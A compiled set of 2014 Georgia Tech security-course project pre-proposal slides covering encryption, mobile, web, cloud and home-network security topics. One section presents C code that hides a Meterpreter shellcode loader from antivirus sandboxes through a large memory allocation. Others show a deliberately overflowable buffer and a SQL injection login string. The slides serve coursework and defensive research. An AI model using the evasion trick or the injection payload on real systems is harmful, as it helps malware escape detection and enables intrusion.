8803-BSS: Pre-proposal

- enatarajan3@gatech.edu
- gnaegle3@gatech.edu
- kflansburg3@gatech.edu
- kni3@gatech.edu
- meng.xu@gatech.edu
- michael.puckett@gatech.edu
- millerk@gatech.edu
- pjain43@gatech.edu
- santosh7@gatech.edu
- sdesai1@gatech.edu
- shoreray@gatech.edu
- sunnyneo@gatech.edu
- vyoung@gatech.edu
- yang.ji@gatech.edu
- yogesh.mundada@gatech.edu
Server-Aided Encryption for Deduplicated Storage

-Eswar Natarajan
Background and Interests

• Network Engineer with experience in Networks, firewalls, NATs etc.
• Worked on interesting problems in Video caching and Content delivery
• In Security: worked on Firewalls for mobile traffic. Mobility adds a whole new challenge!
• Interested in Distributed Systems, Scalable architecture and High Performance Computing.
Introduction

• What is deduplication?
• Why do we need it?
• How is deduplication done on encrypted files?
Convergent Encryption

• Suitability for encryption
• Plaintext is hashed. (Custom hash. NOT SHA-1)
• Data is then encrypted with this key (Symmetric encryption).
• The encrypted data is then hashed (a standard hash function can be used for this purpose). This hash is called the 'locator'.
• Hash of the encrypted data. (called Locator)
• Store locator and the key.
Cryptographic Overview

• Message Locked Encryption (MLE)
• Attacks
• Protection Mechanisms against these attacks
Algorithm – Client side

• Client wishes to store file (M).
• Uses RSA to communicate with the RSA to compute message derived key - K
• Client encrypts M with this key to produce $C_{data}$
• Client uses secret key to encrypt K to produce $C_{key}$
• Both $C_{data}$ and $C_{key}$ are stored on the storage service.
Considerations

• Overhead
• Privacy
• Semantic Security
References


• File system encryption on SmartCloud Enterprise - [http://thoughtsoncloud.com/2012/03/above-the-hypervisor-file-system-encryption-on-smartcloud-enterprise/](http://thoughtsoncloud.com/2012/03/above-the-hypervisor-file-system-encryption-on-smartcloud-enterprise/)
Project Pre-Proposal

Garret Naegle
• Got Bachelor’s degree in Software Engineering at Mississippi State University
• Getting Master’s degree in Computer Science now
• Main interest in reverse engineering and malware analysis
Baseband Attacks on Mobile Devices

• Attacks mobile devices through use of cellular base stations
• Most baseband processors have few attack countermeasures (no ASLR, no DEP, etc)
• Is now dramatically cheaper to implement than before
Example Attack

• Rogue base station sends messages announcing availability and drowns out legitimate station
• When connected, rogue station sends message to overflow buffer and overwrite PC and register
• Rogue station able to issue commands to device
Motivation to Research Baseband Attacks

• New/nontraditional attack vector
• Has potential to affect many people
• Difficult to detect without expensive hardware
Plans for Project

• Look into past attacks and how they were executed
• Check if vulnerabilities exploited in past attacks have been fixed
• Try to find new vulnerabilities that could be exploited
Plans for Project

• Look into commands that can be issued to baseband

• Find out if baseband companies are implementing countermeasures to prevent attacks
Background & Interests

Background

▶ Mechanical Engineering for Undergrad
▶ Some Experience with Analog Circuit Design + PIC Microcontrollers
▶ Pretty new to all of this

Interests

▶ Security in general
▶ Cloud Computing
▶ RF
Proposals - RF Security

1. Select one or two RF devices (car keys, etc.) and explore how vulnerable their protocol is using a Software Defined Radio.
2. Propose changes to the protocol to improve security
Proposals - Timing Based User Authentication

- Explore the viability of using keypress timing to authenticate users.
- Implement Javascript library to quickly add this authentication to websites.
Proposals - Amazon Web Services Hypervisor Security

- Evaluate how secure data running in separate VM’s on the same hardware is.
- Ex. we can intentionally compile vulnerable code with various security features (stack canaries, aslr) disabled. Can the Xen hypervisor maintain protection of the physical memory in all cases?
- Look for possible weaknesses and suggest solutions
Proposals - Entropy

- Look at ways to provide bulk entropy to systems running on virtual machines.
- Perhaps additional hardware that the cloud provider can install to produce bulk entropy to pass to virtual machines.
- Perhaps a service which produces mass entropy and then sends it encrypted and signed to the client.
Proposals - Open to Looking at the Stack

- But have no idea what areas to explore
Taint Analysis for Android App Sets

Kangqi Ni
Background

- PhD candidate in Computer Science

- Research Area
  - Program Analysis
  - Compiler
Motivation

- Detect sensitive information leakage
  - “All or nothing” permission model
  - Advertisement libraries

- Apps can collude to leak data
  - Evades precise detection if only analyzed individually
Motivating Example

- **Phase 1.**
  - data flows enabled individually by each app
  - conditions under which data flows become possible

- **Phase 2.**
  - enumerate the potential dangerous data flows enabled by set of apps as a whole
Terminology

- **Taint analysis** tracks the flow of sensitive data

- **Definition.** A *source* is an external resource (external to the app, not necessarily external to the phone) from which data is read
  - E.g., Device ID, contacts, photos, current location, etc

- **Definition.** A *sink* is external resource to which data is written
  - E.g., Internet, outbound text messages, file system, etc
Plan

- Build upon existing Android static analyses
  - **FlowDroid**: finds intra-component information flow
    *PLDI, 2014*
  - **Epicc**: identifies intent specifications
    *USENIX Security, 2013*
  - **DidFail**: finds flows of sensitive data across app boundaries
    *SOAP, 2014*
Improvement

- **Soundness**
  - Implicit flows

- **Precision**

Thank you!
ChromeDroid

Meng Xu
Background

❖ First year Ph.D. student in computer science
❖ Work with GTISC group
❖ Current project: survey Android security issues and proposed solutions
❖ Interests
❖ Android security
❖ Malware mitigation techniques
Proposal

- App Runtime for Chrome (ARC)
  - Allows Android apps to run in Chrome
  - Officially designed for Chrome OS
  - ARCon Custom Runtime allows every major OS with Chrome browser to run Android apps
- Released on Sep-16, just a week ago
Proposal

❖ ARCon
- Load Android kernel + dalvikvm
❖ chromeos-apk
- Script for app repackaging
- Add some meta data to instruct app loading
Proposal

- Protected by Chrome security model
- Extensive use on Google Native Client (NaCl)
- Comparison with Android security framework
  - Chrome OS: Setuid + Seccomp sandbox
  - Android: Setuid + SELinux
- Any weakness?
Proposal

- Inter-app communication
- Website? Extensions? Other Apps?
- How to enable it in a secure manner?
Proposal

❖ System app not working!
❖ Non of the system app is working, even the simplest Calculator.apk
❖ Why? and how to enable them in a secure manner?
CS-8803 Fall ‘14 Project Pre-Proposal

3rd Party JavaScript Library/Plugin Security Vulnerabilities

Mike Puckett
Background and Interests

- 1st Semester Master’s Student
- GTRI/CTISL 13+ months
  - Build secure web-apps
  - Java back-end, JavaScript front-end
- Working at a research institute (applied research) provides the opportunity and freedom to work with many new and emerging technologies
Why JavaScript

• Relevant to me
• JavaScript is a misunderstood language
• JavaScript isn’t going away anytime soon
  • Dart
  • GWT
• JavaScript is used by 88.2% of all the websites[1]
• The rise of AJAX programming
JavaScript Libraries/Frameworks

- Developed to ease the burden of building complex web-apps
- Handle a number of responsibilities
  - DOM manipulation
  - Client side MVC frameworks
  - DI frameworks
JavaScript Libraries/Frameworks

<table>
<thead>
<tr>
<th>#</th>
<th>APPLICATION</th>
<th>WEBSITES</th>
<th>DETECTIONS</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>jQuery</td>
<td>12,493,500</td>
<td>1,947,442,807</td>
</tr>
<tr>
<td>2</td>
<td>Modernizr</td>
<td>1,978,665</td>
<td>325,042,128</td>
</tr>
<tr>
<td>3</td>
<td>jQuery UI</td>
<td>1,976,734</td>
<td>330,678,585</td>
</tr>
<tr>
<td>4</td>
<td>Lightbox</td>
<td>1,301,426</td>
<td>105,136,570</td>
</tr>
<tr>
<td>5</td>
<td>yepnope.js</td>
<td>1,229,039</td>
<td>128,065,231</td>
</tr>
<tr>
<td>6</td>
<td>MooTools</td>
<td>1,210,978</td>
<td>88,866,418</td>
</tr>
<tr>
<td>7</td>
<td>Prototype</td>
<td>829,977</td>
<td>132,154,568</td>
</tr>
<tr>
<td>8</td>
<td>prettyPhoto</td>
<td>771,978</td>
<td>44,451,553</td>
</tr>
<tr>
<td>9</td>
<td>spin.js</td>
<td>757,524</td>
<td>62,303,677</td>
</tr>
<tr>
<td>10</td>
<td>YUI</td>
<td>692,672</td>
<td>124,722,957</td>
</tr>
</tbody>
</table>
Vulnerabilities

• XSS
• Session hijacking
• Dependency on 3rd party developers
• Example
  • JQuery XSS bug found in 2011
  • http://bugs.jquery.com/ticket/9521
  • Evernote.com, Skype.com
Project Ideas

• Still undecided on *exactly* what I will do for the project

• Possibilities
  • Try to find vulnerabilities in popular libraries/frameworks and/or plugins
  • Build a web-app analysis tool that detects uses of vulnerable libraries/frameworks and/or plugins
  • Develop a XSS defense library
Sources

1. http://w3techs.com/technologies/details/cp-javascript/all/all
2. https://wappalyzer.com/categories/javascript-frameworks
Background

- BS in Computer Science
- Primarily .NET developer for past 3 years
- Some mobile experience (augmented reality apps)
- Currently focused on Network Security
Software Defined Radio (SDR)

• Gain information about a device from analyzing its radio noise

• Investigate encryption strength of low priority devices (e.g. a smart toaster)

• Potential for replay attacks
Radio noise analysis

• Inferring device activity

• Direct output – devices broadcasting intentionally
  • Cell phones, etc

• Indirect output – devices generating radio just by virtue of being turned on
Encryption

• We assume our devices are suitably secure

• Some obvious things (LTE transmissions)

• Some not so obvious (remote key fob for cars, smart toaster)

• Aim to investigate the security strength of the not-so-obvious devices
Intel SGX Emulation using QEMU – An Open Source Machine Emulator

Prerit Jain
Soham Desai
Background and Interests

Prerit Jain:
- M.S. ECE
- Interests: Systems and Security
- Internship: Storage Device Drivers Team, Apple

Soham Desai:
- M.S. ECE (Major: Computer Systems & Software)
- Interests: Systems, device drivers, architectural modelling
- Internship: Client Security, Intel Labs
Objective

- Emulate upcoming Hardware Security Extensions (Intel SGX) to the x86 ISA

- Using Machine Emulator – QEMU

- Make it Open Source for the developers!
Plan

- Background Study
  1. SGX Architecture
  2. QEMU Internals

- Implementation
  Adding support for the Entire Stack
  1. Machine emulation for the new Instructions
  2. Kernel Module development.
  3. Simple Use Case at the Application Level to showcase functionality.
Intel SGX and QEMU

- Intel SGX → Security Guard Extensions
  1. Providing hardware based container and isolated execution environment.
  2. It allows a process to Instantiate a protected region in its address space known as an Enclave

- QEMU → Quick Emulator
  2. QEMU can run OS/programs made for one machine (guest) on a different machine (host) using dynamic translation. (similar to just in time compilation)
**Introduction to SGX and QEMU**

**Intel SGX**
- 2 New Instructions
  - ENCLU (For User Space)
  - ENCLS (For Kernel)
Each has multiple leaf Instructions which together provide the complete SGX functionality

**QEMU**
- Interpreting the new Opcode
- And Leaf functions and providing The functionality expected from Hardware.
Timeline

October:
1. ENCLU: Implementation of Complete API Set.
2. ENCLS: Implementation of Primary Leaf Functions.

November:
1. Kernel Module Development.
2. Unit Testing based on basic application usage scenario.
Questions ????
Building systems to detect malicious infrastructure
Mostly network security and applied crypto
Starting out with system security / software exploitation
Breaking stuff / CTFs (join /r/opentoallctfteam!)
#define MAX_BLOCKS 16
...
...
if ((data->length / BLOCK_SIZE) > MAX_BLOCKS)
{
    data->length = BLOCK_SIZE * MAX_BLOCKS;
}

for (loop = 0; loop < data->length; loop += 8)
{
    for (block_index = 0; block_index < 8; ++block_index)
    {
        buf[loop+block_index] ^= (xor_mask^data->key[block_index]);
    }
}
#define MAX_BLOCKS 16
...
...
if ((data->length / BLOCK_SIZE) > MAX_BLOCKS)
{
    data->length = BLOCK_SIZE * MAX_BLOCKS;
}
for (loop = 0; loop < data->length; loop += 8)
{
    for (block_index = 0; block_index < 8; ++block_index)
    {
        buf[loop+block_index] ^= (xor_mask^data->key[block_index]);
    }
}
<table>
<thead>
<tr>
<th>Address</th>
<th>Symbol</th>
<th>Type</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>-00000095</td>
<td>buf</td>
<td>db</td>
<td>128</td>
</tr>
<tr>
<td>-0000015</td>
<td>xor_mask</td>
<td>db</td>
<td>?</td>
</tr>
<tr>
<td>-0000014</td>
<td>block_index</td>
<td>dd</td>
<td>?</td>
</tr>
<tr>
<td>-0000010</td>
<td>loop</td>
<td>dd</td>
<td>?</td>
</tr>
</tbody>
</table>

Stack Layout (ekse)
Proposal

- Use static analysis to test if a program performs unsafe math operations
- Implement this functionality as a checker for the Clang Static Analyzer
Questions

- How to define 'unsafe' math operations?
- What can be accomplished with just static analysis?
- What if we only have access to the binary?
- Related work / scope?
Intel SGX Emulation using QEMU – An Open Source Machine Emulator

Prerit Jain
Soham Desai
Background and Interests

Prerit Jain:
- M.S. ECE
- Interests: Systems and Security
- Internship: Storage Device Drivers Team, Apple

Soham Desai:
- M.S. ECE (Major: Computer Systems & Software)
- Interests: Systems, device drivers, architectural modelling
- Internship: Client Security, Intel Labs
Objective

- Emulate upcoming Hardware Security Extensions (Intel SGX) to the x86 ISA
- Using Machine Emulator – QEMU
- Make it Open Source for the developers!
Plan

- Background Study
  1. SGX Architecture
  2. QEMU Internals

- Implementation
  Adding support for the Entire Stack
  1. Machine emulation for the new Instructions
  2. Kernel Module development.
  3. Simple Use Case at the Application Level to showcase functionality.
Intel SGX and QEMU

- **Intel SGX -> Security Guard Extensions**
  1. Providing hardware based container and isolated execution environment.
  2. It allows a process to Instantiate a protected region in its address space known as an **Enclave**

- **QEMU -> Quick Emulator**
  2. QEMU can run OS/programs made for one machine (guest) on a different machine (host) using dynamic translation. (similar to just in time compilation)
Introduction to SGX and QEMU

Intel SGX
2 New Instructions
- ENCLU (For User Space)
- ENCLS (For Kernel)
Each has multiple leaf Instructions which together provide the complete SGX functionality

QEMU
Interpreting the new Opcode And Leaf functions and providing The functionality expected from Hardware.
Timeline

October:
1. ENCLU: Implementation of Complete API Set.
2. ENCLS: Implementation of Primary Leaf Functions.

November:
1. Kernel Module Development.
2. Unit Testing based on basic application usage scenario.
Questions ???
An Implementation of WASP*, a Tainting-based Technique against SQL Injection Attacks

Xiangyu Li

Background and Interests

• 2nd year CS Ph.D. student.
• Research on program-analysis based approaches to help with software testing and debugging.
• Preferred programming languages: Java
  • C for low level stuff
Technique Overview

• Basic approach
  • Only allow developer-trusted strings to form sensitive parts of a SQL query.

• Implementation
  • **Positive tainting**: Identify and mark developer-trusted strings. Propagate taint markings at runtime.
  • **Syntax-Aware Evaluation**: Check that all keywords and operators in a query were formed using marked strings.
Positive Tainting

• Mark string in the scope of the software as trusted strings.
  • String literals in the code
  • Strings from configuration files, etc. Specified by explicit rules.
• Strings coming from outside of the software scope are untrusted.
• Track and propagate trusting marks at character level.
• Implementation
  • Instrument java.lang.String and related classes to record and propagated tainting marks. Cannot track tainting marks on primitive values.
  • Alternatively, extend the JVM. May incur high runtime overhead if not implemented properly.
Syntax-Aware Evaluation

• Cannot forbid the use of untrusted data in queries.

```java
1. String queryString = "SELECT info FROM userTable WHERE ";
2. if (!login.equals("")) && (!password.equals("")) {
3.     queryString += "login=" + login + " AND pass=" + password + ";"
} else {
4.     queryString+="login='guest'';"
} 
5. ResultSet tempSet = stmt.executeQuery(queryString);

login -> “doe”, password -> “xyz”

queryString
... [W][H][E][R][E][I][f][o][o][g][i][n][='][d][o][e][A][N][D][p][a][s][s][='][x][y][z]"

login -> “admin’ -- “, password -> “"

queryString
... [R][E][E][o][g][i][n][='][a][d][m][i][n][-][-][-][A][N][D][p][a][s][s][=']"'
```

Check that all keywords and operators in a query were formed using marked strings.
RACE TO ZERO

BASED ON EMERIC NASI - BYPASS ANTIVIRUS DYNAMIC ANALYSIS
(2014)
INTRODUCTION - SUNNY

• From Singapore

• Graduated from Nanyang Technological University - Computer Science

• Typical System & Network Guy

• Interest: Malware, Web/Application Security
RACE TO ZERO

• An competition from Defcon 16 (2008)

• Participants are give a set of malwares to modify and the first team to evade detections from all antivirus engines wins
WHAT’S NEW?

• Some AVs include Dynamic Analysis, in additional to Signature / Heuristic Detection

• Dynamic Analysis a.k.a behavior based detection – scanning & running of malware in emulated sandbox environment

• So encrypted malicious code might still get detected
WHAT’S THE PROBLEM?

• Dynamic Analysis is Complex yet it has to be fast (resource limitation)

• Emulated sandbox environment can be detected
Here is a copy of the main function:

```c
/* main entry */
int main( void )
{
    decryptCodeSection(); // Decrypt the code
    startShellCode();      // Call the Meterpreter shellcode in decrypted code
    return 0;
}
```

This version of the code is detected by local AV scans and has a VirusTotal score of:

12/55

DecryptCodeSection() is complicated

TO EVADE

#define TOO_MUCH_MEM 100000000
int main()
{
    char * memdmp = NULL;
    memdmp = (char *) malloc(TOO_MUCH_MEM);

    if(memdmp!=NULL)
    {
        memset(memdmp,00, TOO_MUCH_MEM);
        free(memdmp);
        decryptCodeSection();
        startShellCode();
    }

    return 0;
}

Simply allocate 100 MB of memory and free pass!

VirusTotal score:
0/55
LEARNING OUTCOME

• How malware encrypt their malicious codes and decrypt at run time

• What are other effective yet simple way of evading antivirus detection
Security for Infrastructure as a Service

Vinson Young
Personal Background

- 3rd year PhD student in ECE, minor in CS
- Computer architecture, network security, signal processing, OS
- Master’s thesis in hardware implementation of CFI
Security for IAAS

- Infrastructure as a Service
  - Multiple VM’s per hardware
- Amazon EC2, Rackspace
Performance / Storage

● Deduplication
  ○ Store identical pages into same region to save space
  ○ Copy-On-Write
Security Vulnerability

● Information Leak
● Cross-VM Side Channel Attack
  ○ Measure write timings to deduplicated memory
  ○ Can tell what programs / blocks of other VM’s sharing the same memory
Security Measures

- ASLR + PIE/PIC
  - (PIE reduces pages that can be deduplicated)
- Page Cache Flushing
- Memory Sanitization
New security measures

- Deduplicated LLC instead?
  - Security analysis
- Other methods to reduce leak
  - Delay writing of general case to make dedup timing indistinguishable
- ASLR + PIE/PIC
  - Analysis on overhead of Deduplication on ASLR+PIE
  - Design method that will work on ASLR without weakening security beyond acceptable levels
Distributed Social Network
in *Browsers*

Yang Ji
Personal background

• 1st year Ph.D. student in GTISC of SCS
  – BS and MS both in Computer and Network Security
  – 5 years industry experience as a software engineer

• Research interests
  – System security
  – Web security
Introduction

• Problem:
  – Personal data protection and privacy in social network is at risk as the service provider (e.g., Facebook) has all the users’ data.

• Solution:
  – Switch to distributed architecture to avoid excessive data concentration at the centralized server.
**Existing Solution**

- **Diaspora*** (100,000+ active users)
  - Decentralizes the server to a bunch of regional *pods*.
  - End users register at a pod and talks with it as if the centralized server.
  - Pods talk with other pods relaying messages.
  - Bottom line: *You need to trust the pods.*
What if we even don’t trust the pods?

• Proposed idea:
  – A pure peer-to-peer solution so that the data only stay with users and their friends.
  – A centralized server would be only for availability.
    • The server is only in charge of user registration/login and online/offline status lookup.
    • No personal data is distributed by the server.
    • Users’ friendship is unknown to the server.
“Web is the future...”

- Web Real Time Communication (WebRTC)
  - It enables web browsers with Real-Time Communications (RTC) capabilities via simple JavaScript APIs.
  - Published in Google I/O conference 2014.
Challenges

• Data synchronization
  – Missed posts during the user’s offline period can be restored from its online friends.

• Secret friend discovery
  – The availability server should not know the (potential) friendship.
SAZO
Securing Home Networks

Yogesh Mundada
Background

• Grad student working with Nick Feamster

• Started working in Network Virtualization.

• Now working in Security.

• Three vantage points: Server, Client & Home Router
Threats in Home Networks

Threats

– Highly powerful devices under non-expert administration
– Persistently Compromised Devices
  • Online Stalking
  • Spam
  • Phishing
  • Financial Records Manipulation
  • Personal Information & Identity Theft
  • Participate in DDOS

Current Solutions

– Antivirus software
– Takedown requires a lot of coordinated effort across many different entities
WiFi Router: Security Vantage Point

• Wireless Router:
  – Checkpoint
  – Identify devices
  – Identify users

• Low capacity:
  – CPU: Cannot process data
  – RAM: Cannot piece together data
  – Storage: Cannot store state
  – Mostly proprietary software
  – OpenWRT:
    • Complex for normal users.
    • Static firewall
SAZO: Components

• SAZO Wireless Router: Control & manipulate network
• SAZO Box: Analyze data
• SAZO Server: Collect data & push updates
• Traffic Inspection Server:
  – Malicious URL query API
  – Traffic Forwarding over VPN
  – Deep Packet Inspection
Goals

• At server side:
  – Data Analysis:
    ▪ Indicators for infections
    ▪ Were updates applied
    ▪ Role of device-types in infection
      ~ Which malware runs on what type of device
      ~ User profile for getting easily infected
        (high risk vs low risk users)
        - What sites they access
        - How many hours they spend
        - When do they spend time
        - 0-patient
        - Was he using P2P

• Studying feasibility of VMI tool to identify malware